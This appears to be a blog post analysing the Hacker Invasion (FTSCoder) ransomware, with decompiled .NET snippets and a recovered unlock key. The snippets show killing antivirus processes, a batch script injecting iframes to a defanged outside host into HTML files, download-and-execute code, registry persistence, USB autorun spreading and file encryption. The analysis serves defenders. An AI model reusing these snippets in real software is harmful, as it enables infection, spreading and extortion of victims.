Analysis of Hackers Invasion ransomware


Today we got new ransomware for analysis and it is named as Hacker Invasion ransomware. It is referred as FTSCoder ransomware too.

Hacker Invasion variants of ransomware family are delivered by hacking in to the network by malware authors. Email campaign is the other option for the attackers to deliver these variants.


Static Analysis:
MD5: B6E74930507305AC9B98A16230A5B02C

Figure 1 Compiled in .net
Compiler Detect -> .NET 
File Type: 32-Bit Exe (Subsystem: Win GUI / 2), Size: 53760 (0D200h) Byte(s). This file got version info details and it says the original file name is ‘NIBIRU1.exe’, Product name and description as ‘NIBIRU’. We got generic results for these names in search results. We started to our static analysis work and see what this malware code is working.

This malware sample have one of a class called ‘anti’. Inside of this class, we got function called ‘killall()’.
Figure 2 Class anti (killall function)

The above snapshot gives detail of other classes apart from ‘anti’ are msnshare, skype, p2p, yahoo and usb. We will look into all these one by one.

Figure 3 killall function
Killall function does operation of comparing strings in the process names and if the process string have those strings then it get process id using GetProcess() and kill that given process. The list of strings looked by the function in the running processes:
·         Av - antivirus
·         Hijackthis - tool to inspects your computers browser and operating system settings to generate a log file of the current state of your computer.
·         Outpost – Personal firewall (component of Agnitum Outpost Firewall Pro by Agnitum).
·         Npfmsg - NPFMessenger MFC Application belongs to software NPFMessenger Application.
·         Bdagent - file associated with bitdefender antivirus.
·         Kavsvc – file associated with Kaspersky antivirus.
·         Egui – file associated with ESET antivirus.
·         Zlclient – file associated with zone lab alarms antivirus.
All these processes are related to security products. So this malware actually wants to kill these security related process to stop them functioning.
There are four forms present in the list of classes. Those classes have functionalities related to other classes like injectx, skype, yahoo, p2p, and msnshare. We checked all these classes to understand their functionalities. Let see what injectx class have:
Injectx class appears to be launching the batch script. This starts with the looking for batch file inside system32 folder (refer the following code).

                public static void injectX_Sp()
                if (File.Exists("C:\\WINDOWS\\system32\\launch.bat"))

The function checks for the launch.bat and if the file exist then it deletes that batch else it goes for creation of the script in the same location. Refer the following snapshot: 

Figure 4 creation of launch batch script
The above snapshot is the else condition for not presence of launch.bat file. Launch batch script is getting created with the help of this function.
("echo ^<iframe src=\"hxxp://www.whathaveyouchosen[.]com[.]au/modules/mod_breadcrumbs/tmpl/Config/show.php\"height=0 width=0^> >>%%o");
("for %%m in (*.html) do (");
("echo ^<iframe src=\"hxxp://www.whathaveyouchosen[.]com[.]au/modules/mod_breadcrumbs/tmpl/Config/show.php\"height=0 width=0^> >>%%m");
("for %%y in (*.htm) do (");
("echo ^<iframe src=\"hxxp://www.whathaveyouchosen[.]com[.]au/modules/mod_breadcrumbs/tmpl/Config/show.php\"height=0 width=0^> >>%%y");

We accessed that url, it gives 404 error from the site and it seems they removed the show.php and modules directory. Apart from the batch file creation, this function creates another script called launch.vbs inside the system32 location.
new FileStream("C:\\windows\\system32\\launch.vbs", FileMode.Create, FileAccess.Write);
StreamWriter streamWriter2 = new StreamWriter(stream2);
StreamWriter2.BaseStream.Seek(0L, SeekOrigin.End);
StreamWriter2.WriteLine("Dim oShell");
StreamWriter2.WriteLine("Set oShell = WScript.CreateObject (\"WScript.Shell\")");
StreamWriter2.WriteLine(" \"C:\\windows\\system32\\launch.bat\",0,True");
StreamWriter2.WriteLine("Set oShell = Nothing ");
The above code is to create the vbs which actually to executes the launch.bat file. At the final line is for the creation of process ‘launch.vbs’.
Install class is the next in the code which copies an executable file called svchost.exe in local drive. And it also set the file attributes as hidden.
File.Copy(Application.ExecutablePath, "C:\\svchost.exe");
File.SetAttributes("C:\\svchost.exe", FileAttributes.Hidden);

Figure 5 Class Install (code)

This piece of code is very interesting to see what it actually does. After it creation of svchost file in the ‘C’ drive, the code has download file with the file name and location. Refer this code:
MyProject.Computer.Network.DownloadFile(, Application.StartupPath + "\\file.exe");
File.SetAttributes(Application.StartupPath + "\\file.exe", FileAttributes.Hidden);
Process.Start(Application.StartupPath + "\\file.exe");
Further to this, there is creation html file in the windows folder as sp.htm.
StreamWriter streamWriter = new StreamWriter("C:\\windows\\sp.htm");
File.SetAttributes("C:\\WINDOWS\\sp.htm", FileAttributes.Normal);
This sp.htm file have iframe which actually points the, which is the downloaded file in the startup path as ‘file.exe’. After the file creations and downloading, the persistence will be created for the svchost.exe using two registry key.
MyProject.Computer.Registry.SetValue("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", "Microsoft", "C:\\svchost.exe");
MyProject.Computer.Registry.SetValue("HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "Userinit", "C:\\WINDOWS\\SYSTEM32\\Userinit.exe,C:\\svchost.exe");
They are the autostart entries (run registry entry and winlogon entry) which locates the physical location. These artifacts can be utilized as IOC.

Figure 6 Lan class
Lan class is used here to collect the details of the host machine such as host address, host name and workgroup detail. We moved on to the msnshare class where it works for creation new file called ‘mypornpics.scr’ in the appdata location under the messenger folder. Refer the following snapshots:

Figure 7 File location used by MSN class

Figure 8 Checking for the existence of the file called 'mypornpics'
Except USB class, other classes like skype, yahoo where actually doing similar functionality like MSN class. Let us focus on the functionality of USB class:
This USB class retrieving the details of logical drives using Directory.GetLogicalDrives(). It does a file copying operation and the copied file is ‘ntldr.exe’. After that, autorun.inf file is created with each line is written like the following code:
StreamWriter streamWriter = new StreamWriter(str + "autorun.inf");
streamWriter.WriteLine("open = ntldr.exe");
File.SetAttributes(str + "autorun.inf", FileAttributes.Hidden);
File.SetAttributes(str + "ntldr.exe", FileAttributes.Hidden);
This code is actual content of autorun.inf where ntldr.exe will be executed automatically and hidden attributes are applied for both the files (autorun.inf and ntldr.exe).

Interesting resource detail (string table)

Figure 9 Panic message
This panic message was found in the file resource. This detail actually present in the form3 of resources. It is the time to look in to the codes of all the four forms (form1, form2, form3, and form4).
this.yourmutex = Environment.UserName + "MutexXx";
Mutex is created with the combination of the username and “MutexXx”.  After this only, initialize component comes with listbox and finally it calls for following:
·         Install()
·         InjectX.injectX_Sp();
·         lan.lan_sp();
·         anti.killall();
·         msnshare.msnshare_sp();
·         p2p.p2p_sp();
·         yahoo.yahoo_sp();
·         skype.skype_sp();
·         usb.usb_sp();
Then goes to sleep - Form1.Sleep(1500000L). And finally starting of the process ‘svchost.exe’ -Process.Start("C:\\svchost.exe").
Now we started to analysis the code of form2 class and its functions. This contains encryption routines, targeted file types, and extension added to the encrypted files.
public enum CryptoAction
                ActionEncrypt = 1,
}The above snap is the code for the encryption of the files. FileStream is getting the file as input with access to read the file and write the file after the encryption. And form2 closing with the following in the message box:
MessageBox.Show("STOP,pay your ransome", "Security", MessageBoxButtons.OK, MessageBoxIcon.Hand);
Similar to a panic message or an alert to the victim. File extension created for the encrypted file is .doxes as extension.
byte[] bytKey = this.CreateKey("Doxes");
byte[] bytIV = this.CreateIV("Doxes");
this.EncryptOrDecryptFile(this.filenamez, this.filenamez + ".Doxes", bytKey, bytIV, Form2.CryptoAction.ActionEncrypt);
Those encrypted file names are added with the extension as “.Doxes”.
Form3 is very important because we found the unlock key for this ransomware. In that, we got label3 text which is totally shocking that the ransom amount is USD 120K and if delayed then the ransom is USD one million.
And label6 shows the detail of how to pay the ransom via bitcoin.
Email contact details are mentioned as the following and it present in the label7.
Label7.Text = "(1) HillaryTrump(at)\r\n(2)James.cute(at)";

Key to unlock is actually present inside the program. Let’s see the below code:
Label8.Text = "ENTER KEY";
Control arg_689_0 = this.TextBox1;
The label8 is text for entering the key which is actually stored in TextBox1.
Operators.CompareString(this.TextBox1.Text, "AnikulapoFela70".
Key to unlock is AnikulapoFela70.

Figure 11 Ransom screen with ransom notes, payment detail, and enter key box
                                      THREAT Indicators
IOC details:
File Extension added:

Ransomware attacks are carried out by malware authors with new functionalities and better target. To prevent these attacks, best security practices consists proper backup, updated anti-ransomware modules with top anti-virus to be implemented. Users are recommended to be more cautious on attachments from unknown users. Keeping the network passwords very strong will be helpful.


Google Plus:

Popular Posts

Chitika Ads